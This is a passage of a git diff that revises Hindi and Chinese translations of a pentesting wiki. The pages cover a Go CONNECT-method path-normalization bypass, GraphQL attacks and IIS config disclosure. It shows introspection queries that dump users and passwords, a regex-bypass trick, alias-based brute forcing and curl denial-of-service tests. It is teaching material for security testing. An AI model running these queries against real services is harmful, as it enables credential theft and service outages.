## CONNECT विधि -Go प्रोग्रामिंग भाषा में, HTTP अनुरोधों को संभालते समय, विशेष रूप से `net/http` पुस्तकालय का उपयोग करते समय, अनुरोध पथ को एक मानकीकृत प्रारूप में स्वचालित रूप से परिवर्तित करने का एक सामान्य अभ्यास है। इस प्रक्रिया में शामिल हैं: +Go प्रोग्रामिंग भाषा में, HTTP अनुरोधों को संभालने के लिए एक सामान्य प्रथा, विशेष रूप से `net/http` पुस्तकालय का उपयोग करते समय, अनुरोध पथ को एक मानकीकृत प्रारूप में स्वचालित रूप से परिवर्तित करना है। इस प्रक्रिया में शामिल हैं: - `/` के साथ समाप्त होने वाले पथ (`/`) जैसे `/flag/` को उनके बिना स्लैश वाले समकक्ष, `/flag` पर पुनर्निर्देशित किया जाता है। -- ऐसे पथ जो निर्देशिका ट्रैवर्सल अनुक्रम जैसे `/../flag` को शामिल करते हैं, उन्हें सरल बनाया जाता है और `/flag` पर पुनर्निर्देशित किया जाता है। -- ऐसे पथ जिनमें अंतिम अवधि होती है जैसे `/flag/.` को भी साफ पथ `/flag` पर पुनर्निर्देशित किया जाता है। +- `/../flag` जैसे निर्देशिका ट्रैवर्सल अनुक्रमों वाले पथों को सरल बनाया जाता है और `/flag` पर पुनर्निर्देशित किया जाता है। +- `/flag/.` के रूप में एक ट्रेलिंग अवधि वाले पथों को भी साफ पथ `/flag` पर पुनर्निर्देशित किया जाता है। हालांकि, `CONNECT` विधि के उपयोग के साथ एक अपवाद देखा जाता है। अन्य HTTP विधियों के विपरीत, `CONNECT` पथ मानकीकरण प्रक्रिया को सक्रिय नहीं करता है। यह व्यवहार संरक्षित संसाधनों तक पहुँचने के लिए एक संभावित मार्ग खोलता है। `curl` में `--path-as-is` विकल्प के साथ `CONNECT` विधि का उपयोग करके, कोई मानक पथ मानकीकरण को बायपास कर सकता है और संभावित रूप से प्रतिबंधित क्षेत्रों तक पहुँच सकता है। diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 5b94bb75c..56dc6d0ee 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -5,15 +5,15 @@ ## Introduction -GraphQL को **REST API के लिए एक प्रभावी विकल्प** के रूप में **हाइलाइट** किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST के विपरीत, जो अक्सर डेटा इकट्ठा करने के लिए विभिन्न एंडपॉइंट्स पर कई अनुरोधों की आवश्यकता होती है, GraphQL सभी आवश्यक जानकारी को **एकल अनुरोध** के माध्यम से लाने की अनुमति देता है। यह सरलता **डेवलपर्स के लिए लाभकारी** है क्योंकि यह उनके डेटा लाने की प्रक्रियाओं की जटिलता को कम करता है। +GraphQL को **REST API के लिए एक प्रभावी विकल्प** के रूप में **उजागर** किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST के विपरीत, जो अक्सर डेटा इकट्ठा करने के लिए विभिन्न एंडपॉइंट्स पर कई अनुरोधों की आवश्यकता होती है, GraphQL सभी आवश्यक जानकारी को **एकल अनुरोध** के माध्यम से लाने की अनुमति देता है। यह सरलता **डेवलपर्स के लिए लाभकारी** है क्योंकि यह उनके डेटा लाने की प्रक्रियाओं की जटिलता को कम करती है। ## GraphQL और सुरक्षा -नई तकनीकों के आगमन के साथ, जिसमें GraphQL भी शामिल है, नई सुरक्षा कमजोरियाँ भी उभरती हैं। एक महत्वपूर्ण बिंदु यह है कि **GraphQL में डिफ़ॉल्ट रूप से प्रमाणीकरण तंत्र शामिल नहीं है**। ऐसे सुरक्षा उपायों को लागू करना डेवलपर्स की जिम्मेदारी है। उचित प्रमाणीकरण के बिना, GraphQL एंडपॉइंट्स अनधिकृत उपयोगकर्ताओं के लिए संवेदनशील जानकारी को उजागर कर सकते हैं, जो एक महत्वपूर्ण सुरक्षा जोखिम पैदा करता है। +नई तकनीकों के आगमन के साथ, जिसमें GraphQL भी शामिल है, नई सुरक्षा कमजोरियाँ भी उभरती हैं। एक महत्वपूर्ण बिंदु यह है कि **GraphQL डिफ़ॉल्ट रूप से प्रमाणीकरण तंत्र शामिल नहीं करता है**। ऐसे सुरक्षा उपायों को लागू करना डेवलपर्स की जिम्मेदारी है। उचित प्रमाणीकरण के बिना, GraphQL एंडपॉइंट्स अनधिकृत उपयोगकर्ताओं के लिए संवेदनशील जानकारी को उजागर कर सकते हैं, जो एक महत्वपूर्ण सुरक्षा जोखिम पैदा करता है। ### डायरेक्टरी ब्रूट फोर्स हमले और GraphQL -खुले GraphQL उदाहरणों की पहचान करने के लिए, डायरेक्टरी ब्रूट फोर्स हमलों में विशिष्ट पथों को शामिल करने की सिफारिश की जाती है। ये पथ हैं: +उजागर GraphQL उदाहरणों की पहचान करने के लिए, डायरेक्टरी ब्रूट फोर्स हमलों में विशिष्ट पथों को शामिल करने की सिफारिश की जाती है। ये पथ हैं: - `/graphql` - `/graphiql` @@ -24,7 +24,7 @@ GraphQL को **REST API के लिए एक प्रभावी वि - `/graphql/api` - `/graphql/graphql` -खुले GraphQL उदाहरणों की पहचान करने से समर्थित क्वेरीज़ की जांच करने की अनुमति मिलती है। यह एंडपॉइंट के माध्यम से उपलब्ध डेटा को समझने के लिए महत्वपूर्ण है। GraphQL की अंतर्दृष्टि प्रणाली इसे इस प्रकार से सुविधाजनक बनाती है कि यह एक स्कीमा द्वारा समर्थित क्वेरीज़ का विवरण देती है। इस पर अधिक जानकारी के लिए, GraphQL दस्तावेज़ में अंतर्दृष्टि पर देखें: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) +खुले GraphQL उदाहरणों की पहचान करने से समर्थित क्वेरीज़ की जांच करने की अनुमति मिलती है। यह एंडपॉइंट के माध्यम से उपलब्ध डेटा को समझने के लिए महत्वपूर्ण है। GraphQL की अंतर्दृष्टि प्रणाली इसे इस प्रकार से सुविधाजनक बनाती है कि यह एक स्कीमा द्वारा समर्थित क्वेरीज़ का विवरण देती है। इस पर अधिक जानकारी के लिए, GraphQL दस्तावेज़ में अंतर्दृष्टि पर देखें: [**GraphQL: APIs के लिए एक क्वेरी भाषा।**](https://graphql.org/learn/introspection/) ### फिंगरप्रिंट @@ -52,7 +52,7 @@ query={__schema{types{name,fields{name}}}} ```bash query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}} ``` -इस क्वेरी के साथ आप सभी प्रकार, इसके फ़ील्ड और इसके तर्क (और तर्क का प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के लिए जानने में बहुत उपयोगी होगा। +इस क्वेरी के साथ आप सभी प्रकार, उनके फ़ील्ड और उनके तर्क (और तर्कों के प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के तरीके को जानने के लिए बहुत उपयोगी होगा। ![](<../../images/image (950).png>) @@ -185,7 +185,7 @@ name ```javascript query={flags{name, value}} ``` -ध्यान दें कि यदि **क्वेरी करने के लिए ऑब्जेक्ट** एक **प्राइमिटिव** **टाइप** है जैसे **स्ट्रिंग** जैसा कि निम्नलिखित उदाहरण में है +ध्यान दें कि यदि **क्वेरी करने के लिए ऑब्जेक्ट** एक **प्राथमिक** **प्रकार** है जैसे **स्ट्रिंग** जैसा कि निम्नलिखित उदाहरण में है ![](<../../images/image (958).png>) @@ -194,7 +194,7 @@ query={flags{name, value}} query = { hiddenFlags } ``` एक अन्य उदाहरण में जहाँ "_Query_" प्रकार के ऑब्जेक्ट के अंदर 2 ऑब्जेक्ट थे: "_user_" और "_users_"।\ -यदि इन ऑब्जेक्ट्स को खोजने के लिए किसी भी तर्क की आवश्यकता नहीं है, तो आप **उनसे सभी जानकारी प्राप्त कर सकते हैं** बस **आपके द्वारा मांगी गई डेटा** के लिए। इस इंटरनेट उदाहरण में आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं: +यदि इन ऑब्जेक्ट्स को खोजने के लिए किसी तर्क की आवश्यकता नहीं है, तो आप **उनसे सभी जानकारी प्राप्त कर सकते हैं** बस **आपके द्वारा मांगी गई डेटा** के लिए। इस इंटरनेट उदाहरण में आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं: ![](<../../images/image (880).png>) @@ -205,7 +205,7 @@ query = { hiddenFlags } ऐसा लगता है कि यह किसी तरह "_**uid**_" तर्क का उपयोग करके खोज करेगा जो _**Int**_ प्रकार का है।\ खैर, हम पहले से ही जानते थे कि, [Basic Enumeration](graphql.md#basic-enumeration) अनुभाग में एक क्वेरी प्रस्तावित की गई थी जो हमें सभी आवश्यक जानकारी दिखा रही थी: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` -यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ, तो आप देखेंगे कि "_**user**_" के पास _Int_ प्रकार का **arg** "_**uid**_" था। +यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ तो आप देखेंगे कि "_**user**_" के पास _Int_ प्रकार का **arg** "_**uid**_" था। तो, कुछ हल्की _**uid**_ ब्रूटफोर्स करते हुए मैंने पाया कि _**uid**=**1**_ पर एक उपयोगकर्ता नाम और पासवर्ड प्राप्त हुआ:\ `query={user(uid:1){user,password}}` @@ -218,13 +218,13 @@ query = { hiddenFlags } और **enumeration phase** के दौरान मैंने खोजा कि "_**dbuser**_" ऑब्जेक्ट के पास "_**user**_" और "_**password**_" के रूप में फ़ील्ड थे। -**क्वेरी स्ट्रिंग डंप ट्रिक (धन्यवाद @BinaryShadow\_)** +**Query string dump trick (धन्यवाद @BinaryShadow\_)** यदि आप एक स्ट्रिंग प्रकार द्वारा खोज सकते हैं, जैसे: `query={theusers(description: ""){username,password}}` और आप **खाली स्ट्रिंग** के लिए **खोजते हैं** तो यह **सभी डेटा डंप करेगा**। (_ध्यान दें कि यह उदाहरण ट्यूटोरियल के उदाहरण से संबंधित नहीं है, इस उदाहरण के लिए मान लें कि आप "**theusers**" को "**description**" नामक स्ट्रिंग फ़ील्ड द्वारा खोज सकते हैं_)। ### खोज -इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियाँ** को उनके **ईमेल** और **नाम** द्वारा पहचाना जाता है; **फिल्में** उनके **नाम** और **रेटिंग** द्वारा। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्मों का भी होना दर्शाती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करती हैं। +इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियाँ** को उनके **ईमेल** और **नाम** द्वारा पहचाना जाता है; **फिल्में** को उनके **नाम** और **रेटिंग** द्वारा। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्में भी रख सकती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करती हैं। आप **नाम** द्वारा व्यक्तियों की **खोज** कर सकते हैं और उनके ईमेल प्राप्त कर सकते हैं: ```javascript @@ -251,7 +251,7 @@ name ``` ध्यान दें कि व्यक्ति के `subscribedMovies` का `name` प्राप्त करने के लिए कैसे संकेत दिया गया है। -आप **एक ही समय में कई वस्तुओं की खोज** भी कर सकते हैं। इस मामले में, 2 फिल्मों की खोज की जाती है: +आप **एक ही समय में कई वस्तुओं को खोज सकते हैं**। इस मामले में, 2 फिल्मों की खोज की जाती है: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { @@ -284,13 +284,13 @@ name ``` ### Mutations -**म्यूटेशन का उपयोग सर्वर-साइड में परिवर्तन करने के लिए किया जाता है।** +**म्यूटेशन सर्वर-साइड में परिवर्तन करने के लिए उपयोग किए जाते हैं।** **इंट्रोस्पेक्शन** में आप **घोषित** **म्यूटेशन** पा सकते हैं। निम्नलिखित चित्र में "_MutationType_" को "_Mutation_" कहा जाता है और "_Mutation_" ऑब्जेक्ट में म्यूटेशन के नाम होते हैं (जैसे कि इस मामले में "_addPerson_"): ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) -इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियों** की पहचान उनके **ईमेल** और **नाम** से होती है; **फिल्मों** की पहचान उनके **नाम** और **रेटिंग** से होती है। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त बन सकती हैं और साथ ही फिल्मों का भी स्वामित्व रख सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाता है। +इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियों** की पहचान उनके **ईमेल** और **नाम** से होती है; **फिल्मों** की पहचान उनके **नाम** और **रेटिंग** से होती है। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त बन सकती हैं और फिल्में भी रख सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाती हैं। डेटाबेस के भीतर **नई** फिल्मों को **बनाने** के लिए एक म्यूटेशन इस प्रकार हो सकता है (इस उदाहरण में म्यूटेशन को `addMovie` कहा जाता है): ```javascript @@ -352,15 +352,15 @@ GraphQL API के माध्यम से **विभिन्न क्र ## GraphQL Without Introspection -越来越多的 **graphql 端点正在禁用 introspection**。然而,当收到意外请求时,graphql 抛出的错误足以让像 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) 这样的工具重建大部分架构。 +越来越多的**graphql端点正在禁用自省**。然而,当收到意外请求时,graphql抛出的错误足以让像[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)这样的工具重建大部分架构。 -此外,Burp Suite 扩展 [**GraphQuail**](https://github.com/forcesunseen/graphquail) 扩展 **观察通过 Burp 的 GraphQL API 请求** 并 **构建** 一个内部 GraphQL **架构**,每当它看到新的查询时。它还可以为 GraphiQL 和 Voyager 暴露架构。当它收到 introspection 查询时,扩展返回一个假响应。因此,GraphQuail 显示所有可用于 API 的查询、参数和字段。有关更多信息,请 [**查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 +此外,Burp Suite扩展[**GraphQuail**](https://github.com/forcesunseen/graphquail)扩展**观察通过Burp的GraphQL API请求**并**构建**一个内部GraphQL**架构**,每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当它收到自省查询时,扩展返回一个假响应。因此,GraphQuail显示所有可用于API的查询、参数和字段。有关更多信息,请[**查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 -一个不错的 **wordlist** 来发现 [**GraphQL 实体可以在这里找到**](https://github.com/Escape-Technologies/graphql-wordlist?)。 +一个不错的**单词列表**可以在这里发现[**GraphQL实体**](https://github.com/Escape-Technologies/graphql-wordlist?)。 ### Bypassing GraphQL introspection defences -API 中对 introspection 查询的限制可以通过在 `__schema` 关键字后插入 **特殊字符** 来绕过。此方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注 `__schema` 关键字来阻止 introspection。通过添加像 **空格、新行和逗号** 这样的字符,GraphQL 会忽略这些字符,但可能没有在正则表达式中考虑到,从而可以规避限制。例如,在 `__schema` 后面带有换行符的 introspection 查询可能会绕过此类防御: +API中的自省查询限制可以通过在`__schema`关键字后插入**特殊字符**来绕过。此方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注`__schema`关键字来阻止自省。通过添加像**空格、新行和逗号**这样的字符,GraphQL会忽略这些字符,但在正则表达式中可能没有考虑到,因此可以绕过限制。例如,在`__schema`后面带有换行符的自省查询可能会绕过此类防御: ```bash # Example with newline to bypass { @@ -422,19 +422,19 @@ file:* query ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` -इसलिए, जैसे कि पिछले CSRF अनुरोध बिना **preflight requests** के भेजे जाते हैं, यह संभव है कि **CSRF का दुरुपयोग करके** GraphQL में **परिवर्तन** किए जा सकें। +इसलिए, जैसे कि पिछले CSRF अनुरोध **बिना प्रीफ्लाइट अनुरोधों** के भेजे जाते हैं, यह संभव है कि CSRF का दुरुपयोग करके GraphQL में **परिवर्तन** **किए** जाएं। -हालांकि, ध्यान दें कि Chrome के `samesite` ध्वज का नया डिफ़ॉल्ट कुकी मान `Lax` है। इसका मतलब है कि कुकी केवल GET अनुरोधों में एक तीसरे पक्ष की वेबसाइट से भेजी जाएगी। +हालांकि, ध्यान दें कि Chrome के `samesite` ध्वज का नया डिफ़ॉल्ट कुकी मान `Lax` है। इसका मतलब है कि कुकी केवल तीसरे पक्ष की वेबसाइट से GET अनुरोधों में भेजी जाएगी। -ध्यान दें कि आमतौर पर **query** **request** को भी **GET** **request** के रूप में भेजना संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है। +ध्यान दें कि आमतौर पर **क्वेरी** **अनुरोध** को **GET** **अनुरोध** के रूप में भेजना भी संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है। -इसके अलावा, [**XS-Search**](../../pentesting-web/xs-search/) **हमले** का दुरुपयोग करके GraphQL अंत बिंदु से उपयोगकर्ता के क्रेडेंशियल्स का दुरुपयोग करके सामग्री को निकालना संभव हो सकता है। +इसके अलावा, [**XS-Search**](../../pentesting-web/xs-search/) **हमले** का दुरुपयोग करके GraphQL एंडपॉइंट से सामग्री को उपयोगकर्ता के क्रेडेंशियल्स का दुरुपयोग करके निकालना संभव हो सकता है। अधिक जानकारी के लिए **यहां** [**मूल पोस्ट देखें**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)। -## GraphQL में क्रॉस-साइट वेब सॉकेट हाइजैकिंग +## GraphQL में क्रॉस-साइट वेबसॉकेट हाइजैकिंग -GraphQL का दुरुपयोग करते हुए CRSF कमजोरियों के समान, **GraphQL के साथ असुरक्षित कुकीज़ के साथ प्रमाणीकरण का दुरुपयोग करने के लिए क्रॉस-साइट वेब सॉकेट हाइजैकिंग करना भी संभव है** और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर करना। +GraphQL का दुरुपयोग करते हुए CRSF कमजोरियों के समान, **क्रॉस-साइट वेबसॉकेट हाइजैकिंग** करना भी संभव है ताकि GraphQL के साथ असुरक्षित कुकीज़ के साथ प्रमाणीकरण का दुरुपयोग किया जा सके और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर किया जा सके। अधिक जानकारी के लिए देखें: @@ -444,7 +444,7 @@ GraphQL का दुरुपयोग करते हुए CRSF कमजो ## GraphQL में प्राधिकरण -अंत बिंदु पर परिभाषित कई GraphQL कार्य केवल अनुरोधकर्ता की प्रमाणीकरण की जांच कर सकते हैं लेकिन प्राधिकरण की नहीं। +एंडपॉइंट पर परिभाषित कई GraphQL कार्य केवल अनुरोधकर्ता की प्रमाणीकरण की जांच कर सकते हैं लेकिन प्राधिकरण की नहीं। क्वेरी इनपुट वेरिएबल को संशोधित करने से संवेदनशील खाता विवरण [leaked](https://hackerone.com/reports/792927) हो सकते हैं। @@ -466,13 +466,13 @@ GraphQL का दुरुपयोग करते हुए CRSF कमजो ## GraphQL में उपनामों का उपयोग करके दर सीमाओं को बायपास करना -GraphQL में, उपनाम एक शक्तिशाली विशेषता हैं जो API अनुरोध करते समय **गुणों के नाम को स्पष्ट रूप से** निर्दिष्ट करने की अनुमति देती हैं। यह क्षमता एकल अनुरोध के भीतर **एक ही प्रकार** की वस्तुओं के **कई उदाहरणों** को पुनः प्राप्त करने के लिए विशेष रूप से उपयोगी है। उपनामों का उपयोग उन सीमाओं को पार करने के लिए किया जा सकता है जो GraphQL वस्तुओं को एक ही नाम के साथ कई गुण रखने से रोकती हैं। +GraphQL में, उपनाम एक शक्तिशाली विशेषता हैं जो API अनुरोध करते समय **गुणों के नाम को स्पष्ट रूप से** नामित करने की अनुमति देती हैं। यह क्षमता एकल अनुरोध के भीतर **एक ही प्रकार** की वस्तुओं के **कई उदाहरणों** को पुनः प्राप्त करने के लिए विशेष रूप से उपयोगी है। उपनामों का उपयोग उन सीमाओं को पार करने के लिए किया जा सकता है जो GraphQL वस्तुओं को एक ही नाम के साथ कई गुण रखने से रोकती हैं। GraphQL उपनामों की विस्तृत समझ के लिए, निम्नलिखित संसाधन की सिफारिश की जाती है: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)। -हालांकि उपनामों का प्राथमिक उद्देश्य कई API कॉल की आवश्यकता को कम करना है, एक अनपेक्षित उपयोग का मामला पहचाना गया है जहां उपनामों का उपयोग GraphQL एंडपॉइंट पर ब्रूट फोर्स हमलों को निष्पादित करने के लिए किया जा सकता है। यह संभव है क्योंकि कुछ एंडपॉइंट्स को दर सीमित करने वालों द्वारा संरक्षित किया गया है जो HTTP अनुरोधों की **संख्या** को सीमित करके ब्रूट फोर्स हमलों को रोकने के लिए डिज़ाइन किए गए हैं। हालाँकि, ये दर सीमित करने वाले प्रत्येक अनुरोध के भीतर संचालन की संख्या को ध्यान में नहीं रख सकते हैं। चूंकि उपनाम एक ही HTTP अनुरोध में कई क्वेरी शामिल करने की अनुमति देते हैं, वे ऐसी दर सीमित करने वाली उपायों को बायपास कर सकते हैं। +हालांकि उपनामों का प्राथमिक उद्देश्य कई API कॉल की आवश्यकता को कम करना है, एक अनपेक्षित उपयोग का मामला पहचाना गया है जहां उपनामों का उपयोग GraphQL एंडपॉइंट पर ब्रूट फोर्स हमलों को निष्पादित करने के लिए किया जा सकता है। यह संभव है क्योंकि कुछ एंडपॉइंट्स को दर सीमित करने वालों द्वारा सुरक्षित किया गया है जो ब्रूट फोर्स हमलों को रोकने के लिए **HTTP अनुरोधों की संख्या** को सीमित करते हैं। हालाँकि, ये दर सीमित करने वाले प्रत्येक अनुरोध के भीतर संचालन की संख्या को ध्यान में नहीं रख सकते हैं। चूंकि उपनाम एक ही HTTP अनुरोध में कई क्वेरियों को शामिल करने की अनुमति देते हैं, वे ऐसी दर सीमित करने वाली उपायों को बायपास कर सकते हैं। -नीचे दिए गए उदाहरण पर विचार करें, जो दिखाता है कि कैसे उपनामित क्वेरी का उपयोग स्टोर डिस्काउंट कोड की वैधता की पुष्टि करने के लिए किया जा सकता है। यह विधि दर सीमित करने को बायपास कर सकती है क्योंकि यह कई क्वेरियों को एक HTTP अनुरोध में संकलित करती है, संभावित रूप से कई डिस्काउंट कोड की एक साथ पुष्टि करने की अनुमति देती है। +नीचे दिए गए उदाहरण पर विचार करें, जो दिखाता है कि कैसे उपनामित क्वेरियों का उपयोग स्टोर डिस्काउंट कोड की वैधता की पुष्टि करने के लिए किया जा सकता है। यह विधि दर सीमित करने को दरकिनार कर सकती है क्योंकि यह कई क्वेरियों को एक HTTP अनुरोध में संकलित करती है, संभावित रूप से कई डिस्काउंट कोड की एक साथ पुष्टि करने की अनुमति देती है। ```bash # Example of a request utilizing aliased queries to check for valid discount codes query isValidDiscount($code: Int) { @@ -491,7 +491,7 @@ valid ### Alias Overloading -**Alias Overloading** एक GraphQL कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे **Denial of Service (DoS)** हो सकता है। उदाहरण के लिए, नीचे दी गई क्वेरी में, एक ही फ़ील्ड (`expensiveField`) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, जो CPU या मेमोरी को समाप्त कर सकता है: +**Alias Overloading** एक GraphQL कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे **Denial of Service (DoS)** हो सकता है। उदाहरण के लिए, नीचे दी गई क्वेरी में, एक ही फ़ील्ड (`expensiveField`) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, संभावित रूप से CPU या मेमोरी को समाप्त कर सकता है: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ @@ -502,7 +502,7 @@ curl -X POST -H "Content-Type: application/json" \ ### **एरे-आधारित क्वेरी बैचिंग** -**एरे-आधारित क्वेरी बैचिंग** एक कमजोरियों में से एक है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग कर सकता है और संभावित रूप से **सेवा से इनकार (DoS)** की स्थिति का कारण बन सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका लाभ उठाकर सेवा की उपलब्धता को कम कर सकता है। +**एरे-आधारित क्वेरी बैचिंग** एक कमजोरियों में से एक है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग करते हुए और संभावित रूप से **सेवा का अस्वीकरण (DoS)** का कारण बन सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका उपयोग सेवा की उपलब्धता को कम करने के लिए कर सकता है। ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -540,7 +540,7 @@ curl -X POST \ ### **फील्ड डुप्लिकेशन कमजोरियाँ** -**फील्ड डुप्लिकेशन** एक कमजोरियाँ है जहाँ एक GraphQL सर्वर एक ही फील्ड को अत्यधिक दोहराए जाने वाले प्रश्नों की अनुमति देता है। यह सर्वर को हर उदाहरण के लिए फील्ड को दोबारा हल करने के लिए मजबूर करता है, जिससे महत्वपूर्ण संसाधनों (CPU, मेमोरी, और डेटाबेस कॉल) की खपत होती है। एक हमलावर सैकड़ों या हजारों दोहराए गए फील्ड के साथ प्रश्न तैयार कर सकता है, जिससे उच्च लोड उत्पन्न होता है और संभावित रूप से **Denial of Service (DoS)** की स्थिति उत्पन्न हो सकती है। +**फील्ड डुप्लिकेशन** एक कमजोरियाँ है जहाँ एक GraphQL सर्वर एक ही फील्ड को अत्यधिक दोहराए जाने वाले प्रश्नों की अनुमति देता है। यह सर्वर को हर उदाहरण के लिए फील्ड को पुनः हल करने के लिए मजबूर करता है, जिससे महत्वपूर्ण संसाधनों (CPU, मेमोरी, और डेटाबेस कॉल) की खपत होती है। एक हमलावर सैकड़ों या हजारों दोहराए गए फील्ड के साथ प्रश्न तैयार कर सकता है, जिससे उच्च लोड उत्पन्न होता है और संभावित रूप से **सेवा से इनकार (DoS)** की स्थिति उत्पन्न हो सकती है। ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 2657dcd69..16ea8c36c 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -73,16 +73,16 @@ Host: example-mvc-application.minded यह अनुरोध विभिन्न सेटिंग्स और निर्भरताओं को प्रकट करता है, जैसे: - **EntityFramework** संस्करण -- **AppSettings** वेबपृष्ठों, क्लाइंट सत्यापन, और JavaScript के लिए +- **AppSettings** वेबपेज, क्लाइंट मान्यता, और JavaScript के लिए - **System.web** प्रमाणीकरण और रनटाइम के लिए कॉन्फ़िगरेशन - **System.webServer** मॉड्यूल सेटिंग्स - **Runtime** असेंबली बाइंडिंग्स कई पुस्तकालयों के लिए जैसे **Microsoft.Owin**, **Newtonsoft.Json**, और **System.Web.Mvc** ये सेटिंग्स यह संकेत देती हैं कि कुछ फ़ाइलें, जैसे **/bin/WebGrease.dll**, अनुप्रयोग के /bin फ़ोल्डर के भीतर स्थित हैं। -### **रूट निर्देशिका फ़ाइलें** +### **रूट डायरेक्टरी फ़ाइलें** -रूट निर्देशिका में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती है), अनुप्रयोग की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं। +रूट डायरेक्टरी में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती हैं), अनुप्रयोग की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं। ### **Namespaces और Web.Config** @@ -93,14 +93,14 @@ Host: example-mvc-application.minded ``` ### **DLLs डाउनलोड करना** -कस्टम नामस्थान का उल्लेख /bin निर्देशिका में मौजूद एक DLL "**WebApplication1**" का संकेत देता है। इसके बाद, **WebApplication1.dll** डाउनलोड करने के लिए एक अनुरोध दिखाया गया है: +कस्टम नामस्थान का उल्लेख /bin निर्देशिका में मौजूद "**WebApplication1**" नामक DLL की ओर इशारा करता है। इसके बाद, 